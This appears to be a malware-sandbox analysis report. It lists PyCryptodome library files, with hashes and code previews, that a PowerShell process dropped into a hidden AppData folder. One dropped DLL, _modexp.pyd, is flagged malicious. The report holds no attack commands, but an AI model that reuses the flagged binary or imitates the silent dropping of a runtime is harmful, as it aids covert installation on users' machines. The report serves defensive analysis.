              SHA-256:B56FB5F5C5DB07C98967FD4CE110F55A970B8BBF4E69A1EE8072F09CB8C80484
              SHA-512:8FC4559A0D9D3E63E11E63F2B5519BFF0F7BBF6F05057E2A6D0EF03F89EA7A3DE0E77D9E0DEB7677167A1454C97FF3C25BAAC3BE1F70DDB099E9F0C70C48D6E5
              Malicious:false
              Reputation:unknown
              Preview:#..# Util/PEM.py : Privacy Enhanced Mail utilities..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SH

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\PEM.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):313
              Entropy (8bit):4.63314311726341
              Encrypted:false
              SSDEEP:
              MD5:107D6CC5B80CF3E12D074590F5D47AE5
              SHA1:E89B8FCF239CD49A0CFC3D7561C783EA63E2FD19
              SHA-256:FD17DE9B1D9EEB3950223BE5E5B16A8CA3EE0A7E4822557F0B882BFF3D67A1D0
              SHA-512:B6E46F3846AFB5E59C5C6C1454FEEEC7FDAA01665F811BFE5338035A5D34CE16347F58EE9921118BEE11D73DE9A5CC56B2B5CC5257EF406D90E495DE3F0C0435
              Malicious:false
              Reputation:unknown
              Preview:from typing import Tuple, Optional, Callable....def encode(data: bytes,.. marke: str,... passphrase: Optional[bytes] = ...,... randfunc: Optional[Callable[[int],bytes]] = ...) -> str: .........def decode(pem_data: str,.. passphrase: Optional[bytes] = ...) -> Tuple[bytes, str, bool]: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\PKCS8.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8025
              Entropy (8bit):4.947237016391909
              Encrypted:false
              SSDEEP:
              MD5:4ABCB64200E9782AFBB602C441B8FED2
              SHA1:1697F19B9C8F5889DC8AFE00738026E1A0CAE2E8
              SHA-256:9A1284B3DC17D008C7C88215C48F06370490883AFE1353838323FE519822FF6C
              SHA-512:2BFB0D3709701A20380204293DD827101CF67F3D623D816B044FFD98ACED07E4EB6C08D5CD655353660929B238F01E7D546F687313B266611C8F5B638D55B829
              Malicious:false
              Reputation:unknown
              Preview:#..# PublicKey/PKCS8.py : PKCS#8 functions..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\PKCS8.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):617
              Entropy (8bit):4.780296247881002
              Encrypted:false
              SSDEEP:
              MD5:F1EBC42749EE63F11F55A1DD77B38380
              SHA1:9B592373655652EA3D08B222C68D62BED560C5E4
              SHA-256:17C9A6398CEC2B74DF62786B9A84553ECFE8660DBFBEEC47663BBEF0EBD8E167
              SHA-512:AB23620DF998CBB2519A67A272E12CA92C48167B1945DFE666C7E427BC3B9E3B6555130D04EF54A31639149A528A6F080B3220D28309E6E7D001274BB10C4A51
              Malicious:false
              Reputation:unknown
              Preview:from typing import Tuple, Optional, Union, Callable..from typing_extensions import NotRequired....from Crypto.Util.asn1 import DerObject..from Crypto.IO._PBES import ProtParams......def wrap(private_key: bytes,.. key_oid: str,.. passphrase: Union[bytes, str] = ...,.. protection: str = ...,.. prot_params: Optional[ProtParams] = ...,.. key_params: Optional[DerObject] = ...,.. randfunc: Optional[Callable[[int], str]] = ...) -> bytes: .........def unwrap(p8_private_key: bytes, passphrase: Optional[Union[bytes, str]] = ...) -> Tuple[str, bytes, Optional[bytes]]: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\_PBES.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20477
              Entropy (8bit):4.819602824795371
              Encrypted:false
              SSDEEP:
              MD5:02F77303FA09D2C06FD44036432DF876
              SHA1:139E0DA6C67BC3CD75E000405E7BF92771F452C0
              SHA-256:0F8CC06CA73276E22EA5AE445D936F6B2509B525D018FD4D7A3F5B12D2F70DC2
              SHA-512:34379525C843BCC64E401B62CD8F295A8A29BED7CD2FD4C13B2EE550E6FCF586F244A5CC1D77990F08A08A07666B8A39231F1258F0AE2BAEDBFD63E7B695F732
              Malicious:false
              Reputation:unknown
              Preview:#..# PublicKey/_PBES.py : Password-Based Encryption functions..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\_PBES.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):781
              Entropy (8bit):4.711755021635503
              Encrypted:false
              SSDEEP:
              MD5:104D32B3D75141B0546625AC5336C1EC
              SHA1:BDF345B0EBE5DC7E238D79FBD5FD63362C561195
              SHA-256:816463C1012174C626FDF286098D851BF55E201879FE9DEEADF777FD1CEA0794
              SHA-512:70AA3BEDD20562702462F69EF3209DF71C1CBDA73BDDDA451E7A2B490095AA1FEDEA4D7093BB8DB955148396A7F28BA9E7D8AC0B1B4644E4F252DED8A780A633
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional, Callable, TypedDict..from typing_extensions import NotRequired....class PbesError(ValueError):.. .......class PBES1(object):.. @staticmethod.. def decrypt(data: bytes, passphrase: bytes) -> bytes: .......class ProtParams(TypedDict):.. iteration_count: NotRequired[int].. salt_size: NotRequired[int].. block_size: NotRequired[int].. parallelization: NotRequired[int]....class PBES2(object):.. @staticmethod.. def encrypt(data: bytes,.. passphrase: bytes,.. protection: str,.. prot_params: Optional[ProtParams] = ...,.. randfunc: Optional[Callable[[int],bytes]] = ...) -> bytes: ....... @staticmethod.. def decrypt(data:bytes, passphrase: bytes) -> bytes: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\IO\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1571
              Entropy (8bit):5.20334357876001
              Encrypted:false
              SSDEEP:
              MD5:2EB5A616573613C3856A549BD00DE6D4
              SHA1:D5DEA35B8153B724AF5C1974FE8E65716F917C42
              SHA-256:655DBE52F138022CCDAEF6DB28569EBA1D513617D12AD88685D793E40C21F5FA
              SHA-512:6615DD25F7CFB1F058CA7DED52E5126F5DB983B7EABA10D8F403113D21D942EA4A241A81A2451AD2FD78048F5303D94AA16AFC2DA60348A75609CD1567E0223E
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\Numbers.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):2064
              Entropy (8bit):5.21416007952233
              Encrypted:false
              SSDEEP:
              MD5:2140FE90B368758DCFC5C2D67ED6E518
              SHA1:73E682D147BE20F6467047BB68D55BB4F8621E85
              SHA-256:61E83C2B11C78BF744D2DAE173F7C76C55A30F130EBEA58BF7B07402E35911B9
              SHA-512:ADA52F2DE9B24E11F108FDF3B950ECF141DCC9D2E71D69BD6754E16286348C8322A3C78656FD6D3DC9161D11821272D64CA549B6038593D8725F3837A5A69137
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\Numbers.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):84
              Entropy (8bit):4.429188967239666
              Encrypted:false
              SSDEEP:
              MD5:FC8E19CDD7D4DF22C857035B5460E98F
              SHA1:FB9CD60C695F8D19ECF44531A14EB9245E764F37
              SHA-256:37E4E3AA463400EF4A3F01217B46A3237D2FDA2795C78F936CC936AAB1875701
              SHA-512:314603B6BB03875A9B59F8A76BF32DABD71E52DC30D44C48C6C975746416227EF05144888620D3984712B78CBE899CE8DCEA4ED34C4883015562A7E217F98571
              Malicious:false
              Reputation:unknown
              Preview:from Crypto.Math._IntegerBase import IntegerBase as Integer..__all__ = ['Integer']..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\Primality.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11740
              Entropy (8bit):4.884742143024647
              Encrypted:false
              SSDEEP:
              MD5:AE61D84D5BE5CB0CB862A6866FDB9BE4
              SHA1:EB6C1A5C08C6BC73C452FAE4D3D4E8A17FD65649
              SHA-256:038B088D41F46E28054BDAA8B87C02CF000373236262DDC9339EA04B00C792D2
              SHA-512:403B5FC86A2773C23A760E57B32C37526EDC54BDD66B9E8C6DB0508B0C915936F832FB234F7D32664E8B74CE33F572E8D4F03AE0A1E7AA03E389FC9244FF69D6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\Primality.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):841
              Entropy (8bit):4.5810465816498
              Encrypted:false
              SSDEEP:
              MD5:A3ADEC74F909A4E9CFB74C5EFFD5162D
              SHA1:4325C3C9FD0FDA73843197C2B99E55C5DCACDFE4
              SHA-256:F73DAEA86E4577FDE3B6E314A1DA38441A8F0CA8AC64A018821E10706B80C903
              SHA-512:F0A41213290CA4D46C1A012D8FBF38B3E16D05D61BF815634EC587B03644F707D5726BFB264AE504BFB4A070210A2CCE1898B25A0697504C6B557D06BF7B2894
              Malicious:false
              Reputation:unknown
              Preview:from typing import Callable, Optional, Union, Set....PrimeResult = int....COMPOSITE: PrimeResult..PROBABLY_PRIME: PrimeResult....def miller_rabin_test(candidate: int, iterations: int, randfunc: Optional[Callable[[int],bytes]]=None) -> PrimeResult: .....def lucas_test(candidate: int) -> PrimeResult: ....._sieve_base: Set[int]..def test_probable_prime(candidate: int, randfunc: Optional[Callable[[int],bytes]]=None) -> PrimeResult: .....def generate_probable_prime(*,.. exact_bits: int = ...,.. randfunc: Callable[[int],bytes] = ...,.. prime_filter: Callable[[int],bool] = ...) -> int: .....def generate_probable_safe_prime(*,.. exact_bits: int = ...,.. randfunc: Callable[[int],bytes] = ...) -> int: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerBase.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11681
              Entropy (8bit):4.670674998377733
              Encrypted:false
              SSDEEP:
              MD5:6EDF38CB6E10A7DF678A33D0A6F3875A
              SHA1:E65A1DAEC79E81055FEBCD20B7D93302FCDB1CDA
              SHA-256:F51738EF5459C02A5CDD445D2EB46EE410CA625A348FC825D89A374EFB86095E
              SHA-512:B16130FCDC9B66B1BAEC876CF61AC93E29A3E80BCBD5668CC7FE6E2EED444BBC13D248C2692E90B7D9D55C313F5C65C9F2EF853B31E6B9D3758FC1FA47B89EE2
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerBase.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3810
              Entropy (8bit):4.6872218402303165
              Encrypted:false
              SSDEEP:
              MD5:00C57D206A1CD7FC853656AF026AEC7E
              SHA1:0C3FDC977E7AE71D989B208A61DB93C66601177E
              SHA-256:C8A26AFF672F06B9C4D80286E0EF8DDE8B2B41FF4C317AB75ACA0FD0D01C751E
              SHA-512:74ECC9628812D52785545D3C5304AD5735C8D6C484C389B46F5D61AFCB339F136931C9A7A7759A6656028277B16ED6C21475F2E741B466516A9CA95BA5F61773
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional, Union, Callable....RandFunc = Callable[[int],int]....class IntegerBase:.... def __init__(self, value: Union[IntegerBase, int]): ....... def __int__(self) -> int: ..... def __str__(self) -> str: ..... def __repr__(self) -> str: ..... def to_bytes(self, block_size: Optional[int]=0, byteorder: str= ...) -> bytes: ..... @staticmethod.. def from_bytes(byte_string: bytes, byteorder: Optional[str] = ...) -> IntegerBase: ..... def __eq__(self, term: object) -> bool: ..... def __ne__(self, term: object) -> bool: ..... def __lt__(self, term: Union[IntegerBase, int]) -> bool: ..... def __le__(self, term: Union[IntegerBase, int]) -> bool: ..... def __gt__(self, term: Union[IntegerBase, int]) -> bool: ..... def __ge__(self, term: Union[IntegerBase, int]) -> bool: ..... def __nonzero__(self) -> bool: ..... def is_negative(self) -> bool: ..... def __add__(self, term: Union[IntegerBase, int]) -> IntegerBase: ..... def __su

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerCustom.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5893
              Entropy (8bit):4.785323629162045
              Encrypted:false
              SSDEEP:
              MD5:5BDE183C4A86339EBCDABA6469350350
              SHA1:BA6BB73F83FE362D87182392A42A12C40A5FC3E9
              SHA-256:A4DDFDEB17DAAAA6C77F417677E01545115DACF477C77E99F2B4E9B69A836A60
              SHA-512:767D975AB4E894EB24ABAC860BA5DE79AF39848D1862235F04B06A735F3F53E5E785D24B6757A49B8036B30F187895BFD478B34B76716AB45DFB3F07EFEAB8B1
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerCustom.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):143
              Entropy (8bit):4.509027321360697
              Encrypted:false
              SSDEEP:
              MD5:454B6FB1C6C3822CE064ED36C4C54D6E
              SHA1:3FCBB34C384AFEA58ECB58831F98A6AC2F22AAF9
              SHA-256:BAF20195FDB64EFAB526FE676151CE94716DCE7EF897EDFBF92BC744E53AECFD
              SHA-512:3505C80ED654D06FFBBA906455826D23CBC1C31798104762B0C116761037332E8197ED12E3ED92101E35A8F7CFCEF53BE887C80A0AF0B36BFFCC482B95F60750
              Malicious:false
              Reputation:unknown
              Preview:from typing import Any....from ._IntegerNative import IntegerNative...._raw_montgomery = Any....class IntegerCustom(IntegerNative):.. pass..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerGMP.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28245
              Entropy (8bit):4.4059189254872075
              Encrypted:false
              SSDEEP:
              MD5:026CC8BB1EE4ECA1D478589549383486
              SHA1:83B29A49CE8F5EA8C1FA5255C7E9E772A7C2BF89
              SHA-256:F896F9D6C42D49AA3F59A30B887927BEEDEFDE6DCC840C97D4ECF01931079084
              SHA-512:56EDC68E2EAF59E0D731256274BE169F2E109B4DAF806F50373D93B758F310B4462641DA6C186F489156AD4441101B32631BBD5D55ED3A4CA858F731A7A68330
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerGMP.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):81
              Entropy (8bit):4.306529623636421
              Encrypted:false
              SSDEEP:
              MD5:1B3750794FA1C99B19798392A644DD26
              SHA1:1449A147E2608AE5A6C9AFD5090E62992B39CAF7
              SHA-256:32D4D0B0B2FD179F5DFD1A04C22A2D3FD4D178D5C7645ECF15754FC073C7E508
              SHA-512:1ABCA6FB4ED46759D6BA04AB76F302AB9E3C14813F319295AAFAE68C91CFB3E197894916D8C9D464B35D5E14741E159CAC64166F30A0A05FF5BC9A3158D783FB
              Malicious:false
              Reputation:unknown
              Preview:from ._IntegerBase import IntegerBase..class IntegerGMP(IntegerBase):.. pass..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerNative.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11706
              Entropy (8bit):4.6054682088352425
              Encrypted:false
              SSDEEP:
              MD5:B1274BA41A935E6006C7CCB1A81ED57E
              SHA1:F025D6E5885E29EE4D246C7BE4E572A86874C37B
              SHA-256:2EE1971FAF400609AC9F569BC9F435FF18F0DFC2ECECE7BC7F45DD4183A04CFF
              SHA-512:C9CAA76F6C2AF4F5C4CB4C7DF57DEDE96ED07BECC44503FB67BDA27CA30EAA77EC5C143732FC3CDEA266228F22E7B14DC9582B31FFB71C84EE4E01BFD66F4A96
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_IntegerNative.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):84
              Entropy (8bit):4.2558290658438995
              Encrypted:false
              SSDEEP:
              MD5:5629E6B58552EE91D828CFF9CA49219A
              SHA1:CDB1DCA0B7E2E94F5393A861422C1C38D4472763
              SHA-256:CA1DD04ECAC1474B1FBDAD15AB86881FB10E182A32C3AEB88C3F9F1B468E62E7
              SHA-512:074FE60CAE14932319C5C6174D10F7E77594AAA40FAE192D8B16098C867C010A756193163DA74EEA235FF46781A8FE68C257A5AB456D6F063A4A261813D352E5
              Malicious:false
              Reputation:unknown
              Preview:from ._IntegerBase import IntegerBase..class IntegerNative(IntegerBase):.. pass..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_modexp.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):32256
              Entropy (8bit):6.222169874586115
              Encrypted:false
              SSDEEP:
              MD5:8C6F920D10A6E8350E269DD2E3E7062C
              SHA1:00AC132AF7896696337DF65BA95686883169FE54
              SHA-256:8A6FF91276C58BF8F524DD2419AEB9C218B3E369C27113A264DC412F08A89650
              SHA-512:8DAC845BAB134B7169D4134891884D9CD5DD431C24DA8DDE98D89EF6D858DF775C3D770CB3CDBEBC410BF2C16A87CA75D52AAC7DAE18CFB7D557E2771EFC5A0A
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........em...>...>...>...>...>...?...>...?...>...>...>...?...>...?...>...?...>...?...>...?...>...>...>...?...>Rich...>........................PE..L...<..e...........!...%.`..........T........p............................................@..........................u..|...|u..d....................................q...............................p..@............p...............................text....^.......`.................. ..`.rdata.......p.......d..............@..@.data...p............n..............@....rsrc................x..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\DH.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3274
              Entropy (8bit):4.693836120739867
              Encrypted:false
              SSDEEP:
              MD5:05BAB8AC5A99E7F1E3A930AD0241310A
              SHA1:1C86AE14E272E56C5F7F9B674222AC5C72E5FAA1
              SHA-256:1FBA768D59659EAE57CFBF6E2DD703365744B49FE47BB8EEE11A80A129597735
              SHA-512:FBE7D4C991EFAB21EA6D2E6B1FB98B014C2F823003BF65957B81587B6C19C01FBE2527232EC8B23AE59057A966D1103E6B193CD86CE9CB2E479D5861FFEC9D43
              Malicious:false
              Reputation:unknown
              Preview:from Crypto.Util.number import long_to_bytes..from Crypto.PublicKey.ECC import EccKey......def _compute_ecdh(key_priv, key_pub):.. # See Section 5.7.1.2 in NIST SP 800-56Ar3.. pointP = key_pub.pointQ * key_priv.d.. if pointP.is_point_at_infinity():.. raise ValueError("Invalid ECDH point").. z = long_to_bytes(pointP.x, pointP.size_in_bytes()).. return z......def key_agreement(**kwargs):.. """Perform a Diffie-Hellman key agreement..... Keywords:.. kdf (callable):.. A key derivation function that accepts ``bytes`` as input and returns.. ``bytes``... static_priv (EccKey):.. The local static private key. Optional... static_pub (EccKey):.. The static public key that belongs to the peer. Optional... eph_priv (EccKey):.. The local ephemeral private key, generated for this session. Optional... eph_pub (EccKey):.. The ephemeral public key, received from the peer for this session. Optional..... At le

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\DH.pyi

              Download File
